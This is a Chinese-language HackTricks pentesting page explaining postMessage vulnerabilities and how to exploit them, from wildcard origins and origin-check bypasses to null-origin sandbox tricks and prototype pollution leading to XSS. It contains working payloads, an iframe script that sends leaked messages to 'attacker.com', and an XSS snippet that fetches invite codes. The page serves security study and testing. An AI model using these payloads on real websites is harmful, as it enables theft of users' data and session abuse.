.. | ||
blocking-main-page-to-steal-postmessage.md | ||
bypassing-sop-with-iframes-1.md | ||
bypassing-sop-with-iframes-2.md | ||
README.md | ||
steal-postmessage-modifying-iframe-location.md |
PostMessage 漏洞
PostMessage 漏洞
从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您希望在 HackTricks 中看到您的公司广告 或 下载 HackTricks 的 PDF 版本,请查看订阅计划!
- 获取 官方 PEASS & HackTricks 商品
- 发现 PEASS 家族,我们独家的 NFT 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
发送 PostMessage
PostMessage 使用以下函数来发送消息:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
请注意,targetOrigin 可以是 '*' 或像 https://company.com. 这样的URL。
在第二种情况下,消息只能发送到那个域(即使窗口对象的来源是不同的)。
如果使用了通配符,消息可以发送到任何域,并且将发送到 Window 对象的来源。
攻击 iframe 和 targetOrigin 中的通配符
如此报告所解释的,如果你找到一个可以被iframed(没有 X-Frame-Header
保护)并且正在通过使用通配符(*)的 postMessage 发送敏感消息的页面,你可以修改 iframe 的来源并将敏感消息泄露到你控制的域。
请注意,如果页面可以被 iframed 但targetOrigin 设置为URL而不是通配符,这个技巧将不起作用。
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener 漏洞利用
addEventListener
是 JS 用来声明期待 postMessages
的函数的功能。
将使用类似以下的代码:
window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;
// ...
}, false);
请注意,在这种情况下,代码首先做的就是检查来源。这一点非常重要,尤其是如果页面要对接收到的信息进行任何敏感操作(比如更改密码)。如果不检查来源,攻击者可以让受害者向这些端点发送任意数据,并更改受害者的密码(在此示例中)。
枚举
为了在当前页面找到事件监听器,你可以:
- 在JS代码中搜索
window.addEventListener
和$(window).on
(JQuery版本) - 在开发者工具控制台执行:
getEventListeners(window)
- 在浏览器的开发者工具中转到 元素 --> 事件监听器
- 使用像 https://github.com/benso-io/posta 或 https://github.com/fransr/postMessage-tracker 这样的浏览器扩展。这些浏览器扩展将拦截所有消息并向你显示。
绕过来源检查
- 当事件是由用户操作生成时,
event.isTrusted
为 True。如果正确放置,实际上不可绕过,但值得一提。 - 如果使用
indexOf()
来检查PostMessage事件的来源,请记住它可以像下面的示例那样轻松绕过:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
- 如果使用
search()
来验证 来源 可能是不安全的。根据String.prototype.search()
的文档,该方法接受一个正则表达式对象而不是字符串。如果传递了除正则表达式以外的任何东西,它将被隐式转换为正则表达式。
在正则表达式中,点(.)被视为通配符。攻击者可以利用这一点,使用一个特殊域名来绕过验证,例如:
"https://www.safedomain.com".search("www.s.fedomain.com")
- 就像前面的例子一样,
match()
也会检查一个 regex,所以如果 regex 格式不正确,它可能会被绕过。 - 如果使用了
escapeHtml
函数,该函数不会创建一个new
的转义对象,而是覆盖现有对象的属性。这意味着,如果我们能够创建一个具有受控属性的对象,该属性不响应hasOwnProperty
,那么它将不会被转义。
// Expected to fail:
result = u({
message: "'\"<b>\\"
});
result.message // "'"<b>\"
// Bypassed:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
File
对象非常适合这种利用,因为它有一个只读的name
属性,该属性被我们的模板使用,并将绕过escapeHtml
函数。
e.origin == window.origin 绕过
当页面通过<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">
嵌入在沙盒化iframe中时,该iframe的origin将是**null
**。
当设置了沙盒值 allow-popups
时,打开的弹出窗口将继承所有沙盒属性,除非设置了allow-popups-to-escape-sandbox
。
因此,从null origin打开一个弹出窗口将使弹出窗口内的**window.origin
也是null
**。
因此,如果你打开一个允许弹出窗口的沙盒化iframe,然后你从iframe内部打开一个弹出窗口,并且从iframe向弹出窗口发送一个postMessage,两个origin都是null,所以:e.origin == window.origin == null
要了解更多信息阅读:
{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
绕过 e.source
可以检查消息是否来自脚本正在监听的同一个窗口(对于浏览器扩展的内容脚本特别有趣,以检查消息是否来自同一页面):
// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}
您可以通过创建一个发送 postMessage 并立即删除的 iframe,强制 e.source
的消息为 null。
有关更多信息,请阅读:
{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
绕过 X-Frame-Header
为了执行这些攻击,理想情况下您将能够将受害者网页放入 iframe
中。但是像 X-Frame-Header
这样的头部可以阻止这种行为。
在这些情况下,您仍然可以使用不那么隐蔽的攻击。您可以打开一个新标签页到易受攻击的网络应用程序,并与之通信:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
通过阻塞主页面窃取发送给子页面的消息
在以下页面中,您可以看到如何通过在发送数据之前阻塞主页面,并利用子页面中的XSS在数据被接收之前泄露数据,从而窃取发送给子iframe的敏感postmessage数据:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
通过修改iframe位置窃取消息
如果您可以嵌入一个没有X-Frame-Header的网页,该网页包含另一个iframe,您可以更改该子iframe的位置,所以如果它正在接收使用通配符发送的postmessage,攻击者可以更改该iframe的源到一个由他控制的页面并窃取消息:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
postMessage 到原型污染和/或 XSS
在通过postMessage
发送的数据被JS执行的场景中,您可以iframe该页面并通过postMessage
发送漏洞利用代码来利用原型污染/XSS。
在 https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html 可以找到一些非常好的通过postMessage
进行XSS的解释。
通过postMessage
到iframe
利用原型污染然后进行XSS的漏洞利用示例:
<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}
setTimeout(get_code, 2000);
</script>
</body>
</html>
**更多信息**:
* 关于 [**原型污染**](../deserialization/nodejs-proto-prototype-pollution/) 的页面链接
* 关于 [**XSS**](../xss-cross-site-scripting/) 的页面链接
* 关于 [**客户端原型污染到 XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss) 的页面链接
## 参考资料
* [https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom\_XSS\_PostMessage\_2.html)
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
* 练习:[https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**。
</details>